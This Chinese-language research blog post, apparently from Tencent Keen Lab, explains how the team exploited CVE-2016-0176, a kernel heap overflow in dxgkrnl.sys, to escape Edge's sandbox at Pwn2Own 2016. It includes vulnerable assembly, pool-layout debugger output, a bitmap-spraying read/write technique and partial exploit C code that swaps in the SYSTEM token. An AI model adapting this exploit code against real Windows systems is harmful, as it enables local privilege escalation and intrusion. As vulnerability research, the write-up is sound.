來源: 騰訊科恩實驗室官方博客

作者: Daniel King (@long123king)

如何攻破微軟的Edge瀏覽器

攻破微軟的Edge瀏覽器至少需要包含兩方面基本要素:瀏覽器層面的遠程代碼執行(RCE: Remote Code Execution)和瀏覽器沙箱繞過。 瀏覽器層面的遠程代碼執行通常通過利用Javascript腳本的漏洞完成,而瀏覽器的沙箱繞過則可以有多種方式,比如用戶態的邏輯漏洞,以及通過內核漏洞達到本地提權(EoP: Escalation of Privilege)。

微軟Edge瀏覽器使用的沙箱是建立在Windows操作系統的權限檢查機制之上的。在Windows操作系統中,資源是可以在全系統范圍內被共享的,比如一個文件或者設備可以在不同進程間被共享。由于有些資源里面包含著敏感信息,而另外一些資源的完整性則關乎系統的正常運轉,如果被破壞了就會導致整個系統的崩潰。因此當一個進程在訪問資源時需要進行嚴格的權限檢查。當一個資源被打開時,主調進程的令牌信息會與目標資源的安全描述符信息進行匹配檢查。權限檢查由幾個不同層面的子檢查組成:屬主身份及組身份檢查,特權檢查,完整性級別及可信級別檢查,Capability檢查等等。上一代的沙箱是基于完整性級別機制的,在沙箱里面運行的應用程序處于Low完整性級別,因此無法訪問處于Medium或者更高級別的資源。微軟的Edge瀏覽器采用的是最新一代的沙箱機制,這代沙箱是基于AppContainer的,運行在沙箱里的應用程序依然處于Low完整性級別,當它們嘗試訪問資源時,除了進行完整性級別檢查,還需要進行Capabilities的檢查,這種檢查更加細膩以及個性化。關于權限檢查機制的更多細節,可以參考我在ZeroNights 2015上的演講:Did You Get Your Token?

沙箱繞過的最常用的方法是通過內核態的漏洞利用,直接操作內核對象(DKOM: Direct Kernel Object Manipulation)以達到本地提權。

CVE-2016-0176

這個漏洞是位于dxgkrnl.sys驅動中,是一個內核堆溢出漏洞。

被篡改的數據結構定義如下:

typedef struct _D3DKMT_PRESENTHISTORYTOKEN
{
    D3DKMT_PRESENT_MODEL  Model; //D3DKMT_PM_REDIRECTED_FLIP      = 2,
    UINT                  TokenSize; // 0x438
    UINT64                CompositionBindingId;

    union
    {
        D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN        Flip;
        D3DKMT_BLTMODEL_PRESENTHISTORYTOKEN         Blt;
        D3DKMT_VISTABLTMODEL_PRESENTHISTORYTOKEN    VistaBlt;
        D3DKMT_GDIMODEL_PRESENTHISTORYTOKEN         Gdi;
        D3DKMT_FENCE_PRESENTHISTORYTOKEN            Fence;
        D3DKMT_GDIMODEL_SYSMEM_PRESENTHISTORYTOKEN  GdiSysMem;
        D3DKMT_COMPOSITION_PRESENTHISTORYTOKEN      Composition;
    }
    Token;
} D3DKMT_PRESENTHISTORYTOKEN;

我們把這個數據結構簡稱為”history token”,想要激發這個漏洞需要將關鍵成員變量按如下定義:

  • Model要設置為D3DKMT_PM_REDIRECTED_FLIP;
  • TokenSize要設置為0x438;

你大概已經猜到漏洞是存在在Token.Flip成員里面,該成員類型定義如下:

typedef struct _D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN
{
    UINT64                                     FenceValue;
    ULONG64                                    hLogicalSurface;
    UINT_PTR                                   dxgContext;
    D3DDDI_VIDEO_PRESENT_SOURCE_ID             VidPnSourceId;

    ……

    D3DKMT_DIRTYREGIONS                        DirtyRegions;
} D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN;

繼續深入到DirtyRegions的類型定義:

typedef struct tagRECT
{
    LONG    left;
    LONG    top;
    LONG    right;
    LONG    bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT; // 0x10 bytes

typedef struct _D3DKMT_DIRTYREGIONS
{
    UINT  NumRects;

    RECT  Rects[D3DKMT_MAX_PRESENT_HISTORY_RECTS]; // 0x10 * 0x10 = 0x100 bytes

     //#define D3DKMT_MAX_PRESENT_HISTORY_RECTS 16

} D3DKMT_DIRTYREGIONS;

現在我們已經到達了最基本類型的定義, 看到一個成員是DWORD類型的NumRects, 另外一個是數組RECT,其中每個元素的類型是Rects, 這個數組是定長的,有16個元素的空間,每個元素0x10字節,每個這個數組的總長度是0x100字節。

上圖展示了被篡改的數據結構的布局以及它們之間的關系,左面一欄是我們在調用 Win32 API 函數D3DKMTPresent時從用戶態傳入的數據結構,中間一欄是dxgkrnl.sys驅動接收到并維護的對應的數據結構,它是從左面一欄的數據結構中拷貝出來的,而右面一欄是內嵌定義在history token中的成員Token.Flip的數據結構。我們知道一個union的大小是由其成員中最大的成員大小決定的,而在這里Token.Flip恰好是unionToken中最大的一個成員,也就是說整個history token數據結構是由Token.Flip中的內容填滿直到結尾,這個特征非常重要,大大簡化了利用的復雜度。

有了上面關于數據結構的知識,我們就可以很方便地理解這個漏洞了,現在展示的是引起漏洞的匯編代碼片斷:

loc_1C009832A: DXGCONTEXT::SubmitPresentHistoryToken(......) + 0x67B
        cmp     dword ptr[r15 + 334h], 10h // NumRects
        jbe     short loc_1C009834B; Jump if Below or Equal(CF = 1 | ZF = 1)
        call    cs : __imp_WdLogNewEntry5_WdAssertion
        mov     rcx, rax
        mov     qword ptr[rax + 18h], 38h
        call    cs : __imp_WdLogEvent5_WdAssertion

loc_1C009834B: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6B2
        mov     eax, [r15 + 334h]
        shl     eax, 4
        add     eax, 338h
        jmp     short loc_1C00983BD

loc_1C00983BD: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6A5
        lea     r8d, [rax + 7]
        mov     rdx, r15; Src
        mov     eax, 0FFFFFFF8h;
        mov     rcx, rsi; Dst
        and     r8, rax; Size
        call    memmove

在這片代碼的入口處,r15寄存器指向的是history token結構的內存區域。代碼首先從內存區域的0x334偏移處取出一個DWORD,并與0x10進行比較,通過上圖我們可以看到取出的DWORD正是Token.Flip.NumRects成員,而0x10則是內嵌數組Token.Flip.Rects容量,所以這里比較的是Token.Flip.NumRects的值是否超出了Token.Flip.Rects數組的容量。如果你是在代碼審查時遇到了這段代碼,那么你可能會自言自語道大事不妙,微軟已經意識到了這個潛在的溢出,并做了比較嚴格的檢查。硬著頭皮往下看,當溢出發生時,代碼會以assertion的方式將這個異常情況記錄到watch dog驅動,但是這個比對后的產生的兩個代碼分枝最終又都在loc_1C009834B處會合。可能你會想watch dog驅動有機會對代碼溢出情況做出反應,通過bug check主動藍屏(BSOD),然而事實上什么都沒有發生。 不管你對Token.Flip.NumRects這個變量設置什么值,代碼都會最終執行到loc_1C009834B處的代碼塊,這個代碼塊對Token.Flip.NumRects值做了一些基礎的算術運算,并且用運算的結果指定memcpy操作拷貝的長度。

為了更加直觀地說明問題,把匯編代碼改寫成對應的C++代碼:

D3DKMT_PRESENTHISTORYTOKEN* hist_token_src = BufferPassedFromUserMode(…);
D3DKMT_PRESENTHISTORYTOKEN* hist_token_dst = ExpInterlockedPopEntrySList(…);

if(hist_token_src->dirty_regions.NumRects > 0x10)
{
    // log via watch dog assertion, NOT work in free/release build
}

auto size = (hist_token_src->dirty_regions.NumRects * 0x10 + 0x338 + 7) / 8;
auto src = (uint8_t*)hist_token_src;
auto dst = (uint8_t*)hist_token_dst;
memcpy(dst, src, size);

事情更加簡單明了,無論我們給Token.Flip.NumRects指定什么樣的值,一個內存拷貝操作在所難免,拷貝操作的源數據正是我們通過調用Win32 API D3DKMTPresent從用戶態傳入的buffer,拷貝操作的目標是通過調用ExpInterlockedPopEntrySList從內核堆上分配的buffer,而拷貝操作的長度是通過計算擁有Token.Flip.NumRects個元素的數組的長度,再加上數組成員在history token結構體中的偏移,以及因為對齊產生的padding長度。如果我們為Token.Flip.NumRects指定了一個大于0x10的長度,那么內核堆溢出就發生了,我們可以控制溢出的長度,以及溢出的前0x38字節內容(如上面介紹數據結構布局的圖所示,在從用戶態傳入的數據中,我們可以控制history token結構后面的0x38字節數據)。

這個漏洞非常有意思,因為微軟已經預見了它的存在卻沒能阻止它的發生,我們可以從中得到的教訓是不要濫用編程技巧,除非你知道你自己在干什么,比如assertion機制。

利用

對于一個堆利用來說,了解目標內存區域附近的內存布局至關重要,我們已經知道目標內存是通過ExpInterlockedPopEntrySList函數在內核態內存池中分配的。

通過簡單調試,我們可以得到如下內存池信息:

kd> u rip-6 L2
dxgkrnl!DXGCONTEXT::SubmitPresentHistoryToken+0x47b:
fffff801`cedb80fb call    qword ptr [dxgkrnl!_imp_ExpInterlockedPopEntrySList (fffff801`ced77338)]
fffff801`cedb8101 test    rax,rax
kd> !pool rax
Pool page ffffc0012764c5a0 region is Paged pool
*ffffc0012764b000 : large page allocation, tag is DxgK, size is 0x2290 bytes
    Pooltag DxgK : Vista display driver support, Binary : dxgkrnl.sys

這是一個比較大的內存區域,大小為0x2290字節,因為這個大小已經超過了一個內存頁的長度(一個內存頁是0x1000字節),所以它是以大頁內存(Large Page Allocation)分配的,三個連續內存頁被用來響應這次大頁內存分配申請,為了節約內存,在0x2290之后的多余空間被回收并且鏈接到了Paged Pool的free list上面,供后續的小內存分配使用。在0x2290之后,會插入一個起到分隔作用的標記為Frag的內存分配。關于內核內存池及大頁分配的詳情,參考Tarjei Mandt的白皮書:Kernel Pool Exploitation on Windows 7。下面展示的是在0x2290偏移附近的內存內容:

kd> db ffffc0012764b000+0x2290 L40
ffffc001`2764d290  00 01 02 03 46 72 61 67-00 00 00 00 00 00 00 00  ....Frag........
ffffc001`2764d2a0  90 22 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ."..............
ffffc001`2764d2b0  02 01 01 00 46 72 65 65-0b 43 44 9e f1 81 a8 47  ....Free.CD....G
ffffc001`2764d2c0  01 01 04 03 4e 74 46 73-c0 32 42 3a 00 e0 ff ff  ....NtFs.2B:....

驅動dxgkrnl.sys中的DXGPRESENTHISTORYTOKENQUEUE::GrowPresentHistoryBuffer函數用來分配并管理一個鏈接history token的單鏈表。每個history token的長度是0x438字節,加上內存池分配的頭部及padding一共0x450字節,所以0x2290大小的內存被平均分成8個history token,并且以倒序的方式鏈接在單鏈表中。驅動dxgkrnl.sys意圖將單鏈表以look-aside list的方式來響應單個history token的內存分配請求。

單鏈表初始狀態時如下所示:

單鏈表在響應過一個history token分配請求后如下所示:

單鏈表在響應過兩個history token分配請求后如下所示:

明確了溢出的目標內存處的內存布局,我們得到兩種溢出方案:

方案1:溢出0x2290偏移后面的復用的小內存分配空間:

方案2:溢出相鄰的單鏈表頭部,轉化成單鏈表利用:

方案1有諸多限制,因為我們只能控制溢出的前0x38字節內容,這意味著減掉padding空間,用于分隔的frag內存池分配項目的長度以及接下來的內存池分配的頭部,我們沒有多余發揮的空間。

方案2看起來很可行,雖然我們知道Windows內核現在已經強制對雙鏈表進行完整性檢查,但是對于單鏈表沒有任何檢查,因此我們可以通過覆蓋單鏈表中的next指針達到重定向讀寫的目標。

為了進一步驗證可行性,我們先在頭腦里演繹一下方案2的種種可能。上面的幾張圖已經展示了從單鏈表中彈出兩個history token的情形,此時我們可以溢出節點B,讓它覆蓋節點A的頭部,然后我們將節點B壓回單鏈表:

當我們把節點A也壓回單鏈表時,接下來會怎樣,會不會如我們所料將單鏈表的讀寫重定向到被溢出覆蓋的next指針處

很遺憾并非如我們所料,這種重定向讀寫不會發生,因為當我們將節點A壓回單鏈表時,覆蓋的QWORD會恢復成指向節點B的指針:

我們回到已經彈出兩個節點的狀態再嘗試另外一種可能:

這次我們先將節點A壓回單鏈表:

然后我們溢出節點B,以覆蓋節點A的頭部,因為此時節點A已經被回收進單鏈表,所以不會再有任何操作可以將子節點A的頭部恢復了。現在單鏈表已經被破壞了,它的第二個元素已經指向了溢出覆蓋的QWORD所指向的內存處。:

經過了上面的演繹,我們對方案2信心十足,現在我們就開始動手吧!看起來我們必須對單鏈表亂序調用push和pop,至少要有兩次連續的pop,我做了如下的嘗試:

嘗試1:循環調用D3DKMTPresent并傳入可導致溢出的buffer。

結果失敗了,經過調試發現每次都在重復pop節點A,使用后push節點A這個循環,根本不會產生亂序。原因很簡單,循環調用D3DKMTPresent被逐個響應,所以我們必須同時調用它才能產生亂序。

嘗試2:在多線程中循環調用D3DKMTPresent并傳入可導致溢出的buffer。

結果又失敗了,經過一些簡單的逆向分析,D3DKMTPresent的調用路徑應該是被加鎖保護了。

經歷了兩次挫敗,不免開始懷疑人生,是否會出現兩次連續的pop呢?然后很快就意識到絕對可行,肯定是我姿勢不對,否則這相對復雜的單鏈表就退化成單個變量了,肯定有其他的內核調用路徑可以激發單鏈表pop操作。我編寫了一個windbg腳本記錄每次push和pop操作,然后嘗試打開一些圖形操作密集的應用程序,只要發現了兩次連續的pop就證明發現了第二條路徑。經過簡單的嘗試,奇跡出現了,當我打開Solitaire游戲時,兩次pop出現了,經過簡單的調試,發現BitBlt API會觸發第二條pop的內核路徑。

嘗試3:在多線程中循環調用D3DKMTPresent并傳入可導致溢出的buffer,同時在另外一批多線程中循環調用BitBlt。

這一次終于成功地將單鏈表中的next指針重定向到指定位置,達到了內核態任意地址寫的目的。但是這種寫的能力有限,很難重復,而我們想要通過DKOM方式偷換令牌需要多次內核讀寫,而這種矛盾在Pwn2Own 2016的3次嘗試總時間15分鐘的嚴苛比賽規則下顯得更加突出,我們需要一些其他技巧。

其他技巧

如何達到可重復的內核態任意地址讀寫

為了達到這個目標,我使用win32k的位圖bitmap對象作為中間目標。首先向內核態內存中spray大量的bitmap對象,然后猜測它們的位置,并試圖通過上面的重定向寫技巧修改它們的頭部,當我成功地命中第一個bitmap對象后,通過修改它的頭部中的buffer指針和長度,讓其指向第二個bitmap對象。因此總共需要控制兩個bitmap對象,第一個用來控制讀寫的地址,而第二個用來控制讀寫的內容。

再詳細地講,我一共向內核內存中spray了4GB的bitmap對象,首先通過噴射大尺寸的256MB的bitmap對象來鎖定空間以及引導內存對齊,然后將它們逐個替換成1MB的小尺寸bitmap對象,這些對象肯定位于0x100000的邊界處,就使得猜測它們的地址更加簡單。

在猜測bitmap對象地址的過程中需要信息泄露來加快猜測速度,這是通過user32! gSharedInfo完成的。

偷換令牌

有了可重復地任意地址讀寫的能力后,再加上通過sidt泄露內核模塊的地址,我們可以方便地定位到nt!PspCidTable指向的句柄表,然后從中找出當前進程以及system進程對應的_EPROCESS結構體,進而找到各自的_TOKEN結構的地址,從而完成替換。

部分利用代碼

VOID ThPresent(THREAD_HOST * th)
{
    SIZE_T hint = 0;
    while (TRUE)
    {
        HIST_TOKEN ht = { 0, };
        HtInitialize(&ht);

        SIZE_T victim_surf_obj = ThNextGuessedAddr(th, ++hint);

        SIZE_T buffer_ptr = victim_surf_obj + 0x200000 + 0x18;
        th->backupBufferPtr1 = victim_surf_obj + 0x258;
        th->backupBufferPtr2 = victim_surf_obj + 0x200000 + 0x258;

        SIZE_T back_offset = 0x10;

        SURFOBJ surf_obj = { 0, };

        surf_obj.cjBits = 0x80;
        surf_obj.pvBits = (PVOID)buffer_ptr;
        surf_obj.pvScan0 = (PVOID)buffer_ptr;
        surf_obj.sizlBitmap.cx = 0x04;
        surf_obj.sizlBitmap.cy = 0x08;
        surf_obj.iBitmapFormat = 0x06;
        surf_obj.iType = 0;
        surf_obj.fjBitmap = 0x01;
        surf_obj.lDelta = 0x10;

        DWORD dwBuff = 0x04800200;
        HtSetBuffer(&ht, 0x18 + th->memberOffset - back_offset, (unsigned char*)&surf_obj, 0x68);
        HtSetBuffer(&ht, 0x70 + th->memberOffset - back_offset, &dwBuff, sizeof(DWORD));


        if (th->memberOffset - back_offset + 0xE8 < 0x448)
        {
            SIZE_T qwBuff = victim_surf_obj + 0xE0;
            HtSetBuffer(&ht, 0xE0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
            HtSetBuffer(&ht, 0xE8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
        }


        if (th->memberOffset - back_offset + 0x1C0 < 0x448)
        {
            SIZE_T qwBuff = victim_surf_obj + 0x1B8;
            HtSetBuffer(&ht, 0x1B8 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
            HtSetBuffer(&ht, 0x1C0 + th->memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
        }

        HtOverflowNextSListEntry(&ht, victim_surf_obj);
        HtTrigger(&ht);

        if (th->triggered)
            break;
    }
}

VOID ThTrigger(THREAD_HOST * th)
{
    SIZE_T i = 0;
    HANDLE threads[TH_MAX_THREADS] = { 0, };
    unsigned char second_buffer[0x78] = { 0, };

    for (SIZE_T i = 0; i < TH_MAX_THREADS; i++)
    {
        if (th->triggered)
        {
            break;
        }

        if (i == 9)
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, ProbeThreadProc, th, 0, &thread_id);
        }
        else if (i % 3 != 0 && i > 0x10)
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, PresentThreadProc, th, 0, &thread_id);
        }           
        else
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, BitbltThreadProc, th, 0, &thread_id);
        }
    }

    for (i = 0; i < TH_MAX_THREADS; i++)
    {
        if (threads[i] != NULL)
        {
            if (WAIT_OBJECT_0 == WaitForSingleObject(threads[i], INFINITE))
            {
                CloseHandle(threads[i]);
                threads[i] = NULL;
            }
        }
    }

    Log("trigged\n");

    ThRead(th, (const void*)th->backupBufferPtr2, second_buffer, 0x78);

    ADDR_RESOLVER ar = { 0, };
    ArInitialize(&ar, th);

    SIZE_T nt_addr = ArNTBase(&ar); 
    SIZE_T psp_cid_table_addr = nt_addr + PSP_CIDTABLE_OFFSET;
    SIZE_T psp_cid_table_value;

    ThRead(th, psp_cid_table_addr, &psp_cid_table_value, 0x08);

    SIZE_T psp_cid_table[0x0C] = { 0, };
    ThRead(th, psp_cid_table_value, psp_cid_table, 0x60);

    SIZE_T table_code = psp_cid_table[1];
    SIZE_T handle_count = psp_cid_table[0x0B] & 0x00000000ffffffff;

    SIZE_T curr_pid = GetCurrentProcessId();

    do
    {
        ThParseCidTable(th, table_code, handle_count);
        Sleep(1000);
    } while (th->currentEprocess == NULL || th->systemEprocess == NULL);

    SIZE_T curr_proc = th->currentEprocess;
    SIZE_T system_proc = th->systemEprocess;

    SIZE_T system_token = 0;
    ThRead(th, (system_proc + 0x358), &system_token, 0x08);

    SIZE_T curr_token = 0;
    ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);

    ThWrite(th, (curr_proc + 0x358), &system_token, 0x08);

    ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);

    ThRestore(th);

    Log("elevated\n");

    Sleep(3600000);

    return;
}

參考:

  1. Rainbow Over the Windows
  2. Did You Get Your Token?
  3. Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
  4. Kernel Pool Exploitation on Windows 7

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/117/